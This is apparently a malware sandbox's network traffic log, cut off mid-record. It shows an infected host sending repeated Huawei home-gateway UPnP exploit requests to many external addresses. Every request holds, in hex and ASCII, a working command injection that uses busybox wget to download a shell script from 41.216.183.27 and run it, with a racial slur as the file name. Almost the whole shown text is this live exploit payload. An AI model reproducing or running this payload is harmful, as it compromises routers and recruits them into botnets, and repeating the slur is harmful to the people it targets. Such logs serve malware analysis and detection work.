72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.15	35330	31.200.79.4	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.312817097 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:21.471915007 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.15	55058	94.121.207.199	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.942972898 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.15	51578	94.123.7.103	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.943209887 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.15	45436	94.122.64.239	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.943380117 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.15	51258	94.120.222.118	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.943546057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.15	34310	94.120.24.97	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.943706989 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.15	46086	94.123.25.194	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.943887949 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.15	50494	94.120.240.143	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.944063902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 